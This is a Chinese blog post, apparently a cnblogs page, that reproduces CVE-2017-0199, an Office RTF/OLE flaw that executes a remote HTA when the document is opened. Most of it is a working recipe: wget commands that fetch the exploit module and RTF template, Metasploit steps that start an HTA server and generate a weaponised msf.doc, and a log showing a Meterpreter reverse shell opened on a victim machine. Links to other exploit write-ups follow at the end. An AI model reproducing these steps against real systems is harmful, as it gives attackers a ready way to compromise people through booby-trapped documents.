CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招

首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法

更新msf,增加国内源

 #清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free #东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib #官方源
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.

 apt-get clean && apt-get update -y && apt-get -f upgrade -y
msfupdate

下载对应exploit

 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb

下载cve-2017-0199.rtf:

 cd /usr/share/metasploit-framework/data/exploits
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf

开启HTA:

 root@kali:~# msfconsole

      ,           ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| ||| Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit =[ metasploit v4.14.14-dev ]
+ -- --=[ exploits - auxiliary - post ]
+ -- --=[ payloads - encoders - nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/windows/misc/hta_server
msf exploit(hta_server) > show options Module options (exploit/windows/misc/hta_server): Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name
-- ----
Powershell x86 msf exploit(hta_server) > run
[*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.1.101:
[*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta
[*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta
[*] Server started.
msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > show options Module options (exploit/windows/fileformat/office_word_hta): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
TARGETURI http://example.com/test.rtf yes The path to a online hta file. Exploit target: Id Name
-- ----
Microsoft Office Word

生成payload doc文档:

 msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta
TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta
msf exploit(office_word_hta) > set FILENAME msf.doc
FILENAME => msf.doc
msf exploit(office_word_hta) > run [+] msf.doc stored at /root/.msf4/local/msf.doc
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) > msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
[*] 192.168.1.108 hta_server - Delivering Payload
[*] 192.168.1.108 hta_server - Delivering Payload
[*] Sending stage ( bytes) to 192.168.1.108
[*] Meterpreter session opened (192.168.1.101: -> 192.168.1.108:) at -- :: + msf exploit(office_word_hta) > sessions -i Active sessions
=============== Id Type Information Connection
-- ---- ----------- ----------
meterpreter x86/windows FEIYU\yu @ FEIYU 192.168.1.101: -> 192.168.1.108: (192.168.1.108) msf exploit(office_word_hta) > session
[-] Unknown command: session.
msf exploit(office_word_hta) > sessions -i
[*] Starting interaction with ...

去目标机上看下:

需要注意的是,不是所有版本都支持,比如我的office plus 2013

cve-2017-0199&metasploit复现过程的更多相关文章

  1. 利用metasploit复现永恒之蓝

    环境 目标机器:windows 7 ,172.16.136.169 攻击机:安装了Metasploit 的 ubuntu16.04 ,172.16.136.130 (安装Metasploit:在 Ub ...

  2. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  3. NSA Fuzzbunch中EternalRomance工具复现过程

    自Shadow Brokers公布NSA泄露工具后,各路大神陆陆续续发表复现过程,这几天也仔细试了各种套路,一直想弄明白DoublePulsar中的shellcode到底是如何用的,刚好又在模拟环境中 ...

  4. Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...

  5. 漏洞利用之Metasploit使用过程

    漏洞利用之Metasploit使用过程 先扫描端口,看开放的服务,如开放ftp,版本是vsftpd 2.3.4:使用search搜索vsftp查看是否在相应的漏洞利用exploit,输入search ...

  6. 【3D】PoseCNN姿态检测网络复现过程记录

    最近在研究室内6D姿态检测相关问题,计划在PoseCNN网络基础上进行改进实现.但是在第一步的复现过程中踩了无数的坑,最终成功运行了demo,但目前数据集train还是遇到了一些问题.有问题欢迎一起交 ...

  7. Linux sudo权限提升漏洞CVE-2021-3156 POC及复现过程

    漏洞简介 2021年1月26日,国外研究团队披露了sudo 中存在的堆溢出漏洞(CVE-2021-3156).利用该漏洞,非特权账户可以使用默认的sudo配置主机上获取root权限,该漏洞影响1.8. ...

  8. php反序列化漏洞复现过程

    PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都 ...

  9. CVE-2020-2551复现过程

    项目地址 cnsimo/CVE-2020-2551 CVE-2020-2551 weblogic iiop 反序列化漏洞 该项目的搭建脚本在10.3.6版本经过测试,12版本未测试. 环境 kali+ ...

随机推荐

  1. java源码学习(二)Integer

    Integer类包含了一个原始基本类型int.Integer属性中就一个属性,它的类型就是int. 此外,这个类还提供了几个把int转成String和把String转成int的方法,同样也提供了其它跟 ...

  2. 初学MySQL

    MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.   Mysql默认端口号: 3306 超级用户:root   prompt 修改提示符. ( ...

  3. jquery(select)下拉框 选取选中的值

    var get_date_type=$("#date_type").find("option:selected").val(); var get_date_ty ...

  4. 如何将txt的多行记录直接导入到mysql数据库

    1.使用工具是navicat for mysql 2.要导入的txt格式要求,第一行为栏位,及个属性名 第二行开始为数据行 如下所示,例如要插入多行账号密码

  5. 再谈AbstractQueuedSynchronizer:共享模式与基于Condition的等待/通知机制实现

    共享模式acquire实现流程 上文我们讲解了AbstractQueuedSynchronizer独占模式的acquire实现流程,本文趁热打铁继续看一下AbstractQueuedSynchroni ...

  6. JavaScript学习笔记(散)——继承、构造函数super

    构造函数中的super 今天看<JavaScript设计模式与开发实践>时,在书中看到一段代码出现super语句,第一次看到这个关键字,所以上网查了下它的作用,发现这个关键字是来自java ...

  7. SharePoint 2016 修改左上角连接

    SharePoint 2016默认会有左上角这样的一个功能.  估计都想把它改掉. 方法1: 打开,输入下面的命令,可将图中的sharepoint修改为想要的文字 $webapp = Get-SPWe ...

  8. 【转】iOS 9 Storyboard 教程(一上)

    转自:http://blog.csdn.net/yangmeng13930719363/article/details/49886547 Storyboard是在iOS5之后新增的一个令人兴奋的功能, ...

  9. RADIUS and IPv6[frc-3162译文]

    如今项目中需要涉及到RADIUS及IPv6的使用,而网络中的资料相对较少,现对frc-3162进行中文翻译,分享出来. 由于英语水平有限,翻译不恰当的地方,还请提出,便于在下及时修改. 原文链接 这份 ...

  10. AutoMapper 6.x 扩展

    简介 很多时候我们使用AutoMapper的时候,都需要进行一个配置才可以使用Mapper.Map<Source,Target>(entity);.如果不进行配置则会报错. 如果实体过多, ...